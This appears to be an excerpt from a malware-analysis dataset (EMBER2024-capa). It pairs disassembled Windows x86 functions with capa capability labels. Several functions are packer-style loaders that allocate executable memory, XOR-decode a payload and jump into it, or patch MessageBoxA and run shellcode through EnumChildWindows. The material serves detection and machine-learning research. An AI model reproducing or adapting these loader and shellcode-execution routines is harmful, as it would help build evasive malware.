joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4639c0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [ecx + 0x26c]
mov edx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov dword [esp + 0x10], 8
jmp 0x4639e0
mov edi, dword [esi]
mov ebx, edi
mov ebp, edi
shr ebx, 5
shl ebp, 4
xor ebx, ebp
add ebx, edi
mov ebp, dword [edx]
mov edi, eax
shr edi, 0xb
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
sub ebp, ebx
mov dword [edx], ebp
sub eax, dword [ecx + 0x270]
mov edi, ebp
mov ebx, ebp
shr ebx, 5
shl ebp, 4
xor ebx, ebp
add ebx, edi
mov edi, eax
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
mov edi, dword [esi]
sub edi, ebx
mov ebx, edi
mov ebp, edi
mov dword [esi], edi
shr ebx, 5
shl ebp, 4
xor ebx, ebp
add ebx, edi
mov ebp, dword [edx]
mov edi, eax
shr edi, 0xb
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
sub ebp, ebx
mov dword [edx], ebp
sub eax, dword [ecx + 0x270]
mov edi, ebp
mov ebx, ebp
shr ebx, 5
shl ebp, 4
xor ebx, ebp
add ebx, edi
mov edi, eax
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
mov edi, dword [esi]
sub edi, ebx
mov ebx, edi
mov ebp, edi
mov dword [esi], edi
shr ebx, 5
shl ebp, 4
xor ebx, ebp
mov ebp, dword [edx]
add ebx, edi
mov edi, eax
shr edi, 0xb
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
sub ebp, ebx
mov dword [edx], ebp
sub eax, dword [ecx + 0x270]
mov edi, ebp
mov ebx, ebp
shr ebx, 5
shl ebp, 4
xor ebx, ebp
add ebx, edi
mov edi, eax
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
mov edi, dword [esi]
sub edi, ebx
mov ebx, edi
mov ebp, edi
mov dword [esi], edi
shr ebx, 5
shl ebp, 4
xor ebx, ebp
mov ebp, dword [edx]
add ebx, edi
mov edi, eax
shr edi, 0xb
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
sub ebp, ebx
mov dword [edx], ebp
sub eax, dword [ecx + 0x270]
mov edi, ebp
mov ebx, ebp
shr ebx, 5
shl ebp, 4
xor ebx, ebp
mov ebp, dword [esi]
add ebx, edi
mov edi, eax
and edi, 3
movzx edi, byte [edi + ecx + 0x25c]
add edi, eax
xor ebx, edi
mov edi, dword [esp + 0x10]
sub ebp, ebx
dec edi
mov dword [esi], ebp
mov dword [esp + 0x10], edi
jne 0x4639e0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x467b50
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x4224
call fcn.00498d40
push ebx
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ecx, dword [str._r_nLoaded_Modules:_r_n]
mov ebp, dword [esp + 0x4234]
mov ebx, eax
cmp ebx, 0xffffffff
mov eax, ebp
mov dword [eax], ecx
mov edx, dword [0x4b538c]
mov dword [eax + 4], edx
mov ecx, dword [0x4b5390]
mov dword [eax + 8], ecx
mov edx, dword [0x4b5394]
mov dword [eax + 0xc], edx
mov ecx, dword [0x4b5398]
mov dword [eax + 0x10], ecx
jne 0x467bec
dec ebp
mov edi, ebp
lea ebx, [ebx]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x467bb0
mov edx, dword [str._FailedCreate__r_n]
mov dword [edi], edx
mov eax, dword [0x4b5378]
mov dword [edi + 4], eax
mov ecx, dword [0x4b537c]
mov dword [edi + 8], ecx
mov edx, dword [0x4b5380]
mov dword [edi + 0xc], edx
mov al, byte [0x4b5384]
mov byte [edi + 0x10], al
pop edi
pop ebp
pop ebx
add esp, 0x4224
ret
lea ecx, [esp + 0xc]
push ecx
push ebx
mov dword [esp + 0x14], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
jne 0x467c43
dec ebp
mov edi, ebp
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x467c06
mov edx, dword [str._FailedFirst_]
mov dword [edi], edx
mov eax, dword [0x4b5368]
mov dword [edi + 4], eax
mov ecx, dword [0x4b536c]
mov dword [edi + 8], ecx
mov dx, word [0x4b5370]
push ebx
mov word [edi + 0xc], dx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebp
pop ebx
add esp, 0x4224
ret
push esi
cmp byte [esp + 0x30], 0x66
je 0x467cb6
cmp byte [esp + 0x31], 0x6c
je 0x467cb6
cmp byte [esp + 0x32], 0x61
je 0x467cb6
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x130]
push eax
mov eax, dword [esp + 0x28]
add ecx, eax
push ecx
push eax
lea edx, [esp + 0x3c]
push edx
lea eax, [esp + 0x244]
push str._s_tA:_0x_08X___0x_08X_t__s__r_n
push eax
call fcn.00498ee0
lea eax, [esp + 0x24c]
add esp, 0x18
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x467c90
mov edi, ebp
sub eax, ecx
mov esi, ecx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x467ca0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x467c44
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
pop ebp
pop ebx
add esp, 0x4224
ret
Function at 0x467ce0
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
mov ebx, dword [esp + 0x230]
test ebx, ebx
je 0x467d9e
push edi
push str._Unknown_
push ebx
call fcn.00498ee0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
je 0x467d9d
lea eax, [esp + 8]
push eax
push edi
mov dword [esp + 0x10], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
jne 0x467d45
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
add esp, 0x224
ret
push esi
mov esi, dword [esp + 0x234]
lea ecx, [ecx]
mov eax, dword [esp + 0x20]
cmp esi, eax
jb 0x467d62
mov ecx, dword [esp + 0x24]
add ecx, eax
cmp esi, ecx
jbe 0x467d82
lea edx, [esp + 0xc]
push edx
push edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x467d50
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
pop ebx
add esp, 0x224
ret
lea eax, [esp + 0x2c]
push eax
push str.__s_
push ebx
call fcn.00498ee0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
pop ebx
add esp, 0x224
ret

Function at 0x468080
Capabilities:
Initialize winsock library

Disassembly:
xor eax, eax
sub esp, 0x190
push esi
mov esi, ecx
push edi
mov ecx, 0x1c82
lea edi, [esi + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea ecx, [esi + 0x7213]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
lea edx, [esi + 0x722b]
mov ecx, 0x40
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x19c]
test eax, eax
je 0x4680e4
mov dword [esi + 0x732c], 1
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4680d8
jmp 0x4680ee
mov dword [esi + 0x732c], 0
lea edx, [esp + 8]
push edx
push 0x202
mov dword [esi + 4], 0
mov dword [esi], 0xffffffff
call sub.WSOCK32.dll_WSAStartup
pop edi
mov eax, esi
pop esi
add esp, 0x190
ret 4

Function at 0x468088
Capabilities:
Initialize winsock library

Disassembly:
xor eax, eax
sub esp, 0x190
push esi
mov esi, ecx
push edi
mov ecx, 0x1c82
lea edi, [esi + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea ecx, [esi + 0x7213]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
lea edx, [esi + 0x722b]
mov ecx, 0x40
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x19c]
test eax, eax
je 0x4680e4
mov dword [esi + 0x732c], 1
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4680d8
jmp 0x4680ee
mov dword [esi + 0x732c], 0
lea edx, [esp + 8]
push edx
push 0x202
mov dword [esi + 4], 0
mov dword [esi], 0xffffffff
call sub.WSOCK32.dll_WSAStartup
pop edi
mov eax, esi
pop esi
add esp, 0x190
ret 4
Function at 0x49cbca
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x18
push 0x4ba530
call fcn.0049d244
mov edi, 0x94
mov eax, edi
call fcn.00498d40
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x515d68], ecx
mov eax, dword [esi + 4]
mov dword [0x515d74], eax
mov edx, dword [esi + 8]
mov dword [0x515d78], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x515d6c], esi
cmp ecx, 2
je 0x49cc2a
or esi, 0x8000
mov dword [0x515d6c], esi
shl eax, 8
add eax, edx
mov dword [0x515d70], eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp word [eax], 0x5a4d
jne 0x49cc63
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x49cc63
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x49cc7b
cmp eax, 0x20b
je 0x49cc68
mov dword [ebp - 0x1c], edi
jmp 0x49cc8f
cmp dword [ecx + 0x84], 0xe
jbe 0x49cc63
xor eax, eax
cmp dword [ecx + 0xf8], edi
jmp 0x49cc89
cmp dword [ecx + 0x74], 0xe
jbe 0x49cc63
xor eax, eax
cmp dword [ecx + 0xe8], edi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.0049df86
pop ecx
test eax, eax
jne 0x49cca3
push 0x1c
call fcn.0049cba6
pop ecx
call fcn.0049f104
test eax, eax
jne 0x49ccb4
push 0x10
call fcn.0049cba6
pop ecx
call fcn.004a50b1
mov dword [ebp - 4], edi
call fcn.0049d399
test eax, eax
jge 0x49cccd
push 0x1b
call fcn.0049cb81
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x5165c0], eax
call fcn.004a56a1
mov dword [0x515dac], eax
call fcn.004a55ff
test eax, eax
jge 0x49ccf3
push 8
call fcn.0049cb81
pop ecx
call fcn.004a53cc
test eax, eax
jge 0x49cd04
push 9
call fcn.0049cb81
pop ecx
push 1
call fcn.0049bff5
pop ecx
mov dword [ebp - 0x24], eax
cmp eax, edi
je 0x49cd1a
push eax
call fcn.0049cb81
pop ecx
mov eax, dword [0x515d88]
mov dword [0x515d8c], eax
push eax
push dword [0x515d80]
push dword [0x515d7c]
call fcn.0048cd50
add esp, 0xc
mov esi, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x1c], edi
jne 0x49cd49
push esi
call fcn.0049c122
call fcn.0049c144
jmp 0x49cd7b
or dword [ebp - 4], 0xffffffff
mov eax, esi
lea esp, [ebp - 0x34]
call fcn.0049d27f
ret
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10007c2e
pop dword [ebp - 0xc]
mov eax, 0xea0d81b9
sub eax, 0xda0d058b
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xfab9a42c
add dword [ebp - 0x1c], 0x5398a11f
mov dword [ebp - 0x18], 0x60ff4a7a
add dword [ebp - 0x18], 0xd13401cb
mov dword [ebp - 0x14], 0x2eea766b
sub dword [ebp - 0x14], 0xe29e323d
mov dword [ebp - 0x10], 0xbb082b7e
sub dword [ebp - 0x10], 0xbb082b7e
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x6dcf8a57
sub eax, 0x5dcf0a03
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xa18811c1
add dword [ebp - 0x1c], 0xd2ea5795
mov dword [ebp - 0x18], 0x8d30d0e6
add dword [ebp - 0x18], 0xb43b908f
mov dword [ebp - 0x14], 0x95260a6f
sub dword [ebp - 0x14], 0x31b69e03
mov dword [ebp - 0x10], 0xc8c28cbe
sub dword [ebp - 0x10], 0xc8c28cbe
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x36eca
push 0
call eax
mov ecx, 0x9931069a
sub ecx, 0x9930bd93
xor edx, edx
add edx, eax
mov ebx, 0xd1d50f8c
add ebx, 0x3e2bea74
add ebx, dword [ebp - 0xc]
mov edi, 0xe3fd74d4
add edi, 0x4478809
sub dword [ebp - 8], ecx
mov esi, dword [ebx]
xor dword [ebp - 4], ecx
sub esi, edi
xor dword [ebp - 8], 0x51a07400
mov dword [edx], esi
add edx, 0x5ea1eb53
sub edx, 0x5ea1eb4f
add ebx, 0x8570e25d
add ebx, 0x7a8f1da7
loop 0x10007d4d
add eax, 0x116ef
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x18dc
call fcn.00405450
push esi
push 0x18d6
lea eax, [ebp - 0x18dc]
push str.....
push eax
call fcn.004041c0
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x22b8
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401051
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov cl, byte [ebp - 0x18dc]
xor cl, 0x90
xor eax, eax
lea esp, [esp]
xor byte [ebp + eax - 0x18dc], cl
inc eax
cmp eax, 0x18d5
jb 0x401060
push 0x18d6
lea edx, [ebp - 0x18dc]
push edx
push esi
call fcn.004041c0
add esp, 0xc
push 0
push esi
push 0
call dword [sym.imp.USER32.dll_EnumChildWindows]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40302b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00401f86
and dword [ebp - 0x14], 0
cmp dword [0x40b41c], 0
mov dword [ebp - 0x18], eax
jne 0x4030de
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403186
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403186
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b41c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b420], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b424], eax
call edi
push eax
call esi
mov dword [0x40b42c], eax
test eax, eax
je 0x4030de
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b428], eax
mov eax, dword [0x40b428]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403137
cmp dword [0x40b42c], ecx
je 0x403137
push eax
call esi
push dword [0x40b42c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403137
test ebx, ebx
je 0x403137
call edi
test eax, eax
je 0x40312e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40312e
test byte [ebp - 8], 1
jne 0x403137
or dword [ebp + 0x10], 0x200000
jmp 0x40316a
mov eax, dword [0x40b420]
cmp eax, dword [ebp - 0x18]
je 0x40316a
push eax
call esi
test eax, eax
je 0x40316a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40316a
mov eax, dword [0x40b424]
cmp eax, dword [ebp - 0x18]
je 0x40316a
push eax
call esi
test eax, eax
je 0x40316a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b41c]
call esi
test eax, eax
je 0x403186
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403188
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403396
leave
ret

Function at 0x403396
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a310]
jne 0x4033a0
repz ret
jmp fcn.00404606
Function at 0x422560
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42258d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42258d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4233c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
cmp dword [esp + 0x10], esi
jbe 0x423413
push ebx
mov ebx, dword [esp + 0x14]
and ebx, 1
mov al, byte [esi + ebp]
mov ecx, 0x430260
xor al, 0x73
sub al, 0x58
push ebx
mov byte [esi + ebp], al
call fcn.004024ea
push eax
call fcn.00401dd2
mov al, byte [esi + ebp]
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [esi + ebp], al
inc esi
pop ecx
cmp esi, dword [esp + 0x14]
jb 0x4233d9
pop ebx
pop esi
pop ebp
ret

Function at 0x423416
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401fdd
push 0xc
call fcn.00406576
pop ecx
test eax, eax
je 0x42344d
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call section..bss
jmp 0x42344f
xor eax, eax
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x474828
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x42339a
lea ecx, [ebp - 0x28]
call fcn.00401d1e
lea ecx, [ebp - 0x28]
call fcn.004040aa
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x474828
add edx, 0x188
mov esi, 0x431028
push esi
call edx
cmp dword [ebp - 0x24], 0
jne 0x4234c4
lea ecx, [ebp - 0x1c]
call fcn.004033ef
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004065b4
leave
ret
call fcn.0040dc7b
int3
Function at 0x42dd70
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42ddb0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x42ddbd
mov dword [ebp - 8], 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x42eeb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x42eebf
pop dword [ebp - 0x44]
mov eax, 0x2dd54790
sub eax, 0x2d9258d1
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x4fce4
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0x514f
xor esi, esi
add esi, eax
mov edx, 0xeec6da8b
add edx, 0x117fd775
add edx, dword [ebp - 0x44]
mov ebx, 0xc5324c0
xor dword [ebp - 0x34], 0xc48222e9
mov edi, dword [edx]
xor dword [ebp - 0x3c], edx
xor edi, ebx
xor dword [ebp - 4], 0x9d0eed7e
mov dword [esi], edi
xor dword [ebp - 8], esi
add esi, 0xbedf307a
sub esi, 0xbedf3076
add edx, 0x97cc35c1
sub edx, 0x97cc35bd
loop 0x42ef0f
add eax, 0x1380f
xor ebx, ebx
add ebx, eax
add eax, 0x626a70b5
add eax, 0x9d958f50
mov ecx, 0xeb8c4480
add ecx, 0x14b3bb80
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x432550
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43a919
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x44ec90]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x14], 0
push 0x11c
push 0
lea eax, [ebp - 0x13c]
push eax
call fcn.004148c0
add esp, 0xc
mov dword [ebp - 0x13c], 0x11c
lea ecx, [ebp - 0x13c]
push ecx
call dword [sym.imp.kernel32.dll_GetVersionExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4325d2
mov dword [ebp - 0x13c], 0x114
lea edx, [ebp - 0x13c]
push edx
call dword [sym.imp.kernel32.dll_GetVersionExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4325e8
cmp dword [ebp - 0x138], 6
jb 0x4325e8
mov dword [ebp - 0x14], 1
movzx eax, byte [0x452c91]
test eax, eax
jne 0x43267e
cmp dword [ebp - 0x14], 0
je 0x43263b
push str.Vista_or_later
lea ecx, [ebp - 0x140]
call main
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x140]
push ecx
push 2
call main
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x140]
call main
jmp 0x432677
push str.not_Vista_or_later
lea ecx, [ebp - 0x144]
call main
mov dword [ebp - 4], 1
push 0
lea edx, [ebp - 0x144]
push edx
push 2
call main
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call main
mov byte [0x452c91], 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00414838
mov esp, ebp
pop ebp
ret
Function at 0x1000b700
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x1000b800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000b80f
pop dword [ebp - 0x34]
mov eax, 0x1000b80f
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xeadccbf5
sub dword [ebp - 0x44], 0x9c8a86aa
mov dword [ebp - 0x40], 0xdf10cfa7
sub dword [ebp - 0x40], 0xacdd8362
mov dword [ebp - 0x3c], 0x40a59904
sub dword [ebp - 0x3c], 0xf45954d6
mov dword [ebp - 0x38], 0xa4bcfba3
sub dword [ebp - 0x38], 0xa4bcfba3
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xe53ddab4
sub dword [ebp - 0x44], 0x70cb715e
mov dword [ebp - 0x40], 0x1a3cb19f
sub dword [ebp - 0x40], 0xd8d0502a
mov dword [ebp - 0x3c], 0x6301ea56
sub dword [ebp - 0x3c], 0xff927dea
mov dword [ebp - 0x38], 0x5d6b558
sub dword [ebp - 0x38], 0x5d6b558
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x340faf4f
sub eax, 0x240ebea7
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x38ef1
push 0
call eax
mov ecx, 0x48b1
xor esi, esi
add esi, eax
mov edx, 0x10023800
add edx, dword [ebp - 0x34]
mov edi, 0xfdd29546
add edi, 0x58d68a38
sub dword [ebp - 0x30], 0xb3a2c7e5
mov ebx, dword [edx]
sub dword [ebp - 0x14], edx
xor ebx, edi
sub dword [ebp - 0x14], esi
mov dword [esi], ebx
add dword [ebp - 0x14], 0xbad241b6
add esi, 0x1067d1e1
sub esi, 0x1067d1dd
add edx, 0x1a604744
sub edx, 0x1a604740
loop 0x1000b91d
add eax, 0xd72aa5c0
add eax, 0x28d66fd7
mov ebx, eax
add eax, 0x97cd78e0
sub eax, 0x97cd78db
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40c9b9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40c9c8
pop dword [ebp - 0x10]
mov eax, 0xa829ea19
add eax, 0x5816dfaf
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3c24a
push 0
mov eax, 0xe024a969
add eax, 0x201c37b7
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x9e4caf69
sub ecx, 0x9e4c5c19
xor edi, edi
add edi, eax
mov ebx, 0x48608e7
add ebx, 0xfbbb6f19
add ebx, dword [ebp - 0x10]
mov edx, 0x150df988
add edx, 0xad98e774
xor dword [ebp - 4], 0xa23ddb58
mov esi, dword [ebx]
xor dword [ebp - 4], 0x4d70e456
xor esi, edx
sub dword [ebp - 4], 0x6ce01922
mov dword [edi], esi
sub dword [ebp - 8], esi
add edi, 0x5cb0f987
add edi, 0xa34f067d
add ebx, 0x9c814117
add ebx, 0x637ebeed
loop 0x40ca29
add eax, 0x10bcc76
add eax, 0xfef5739d
xor ebx, ebx
add ebx, eax
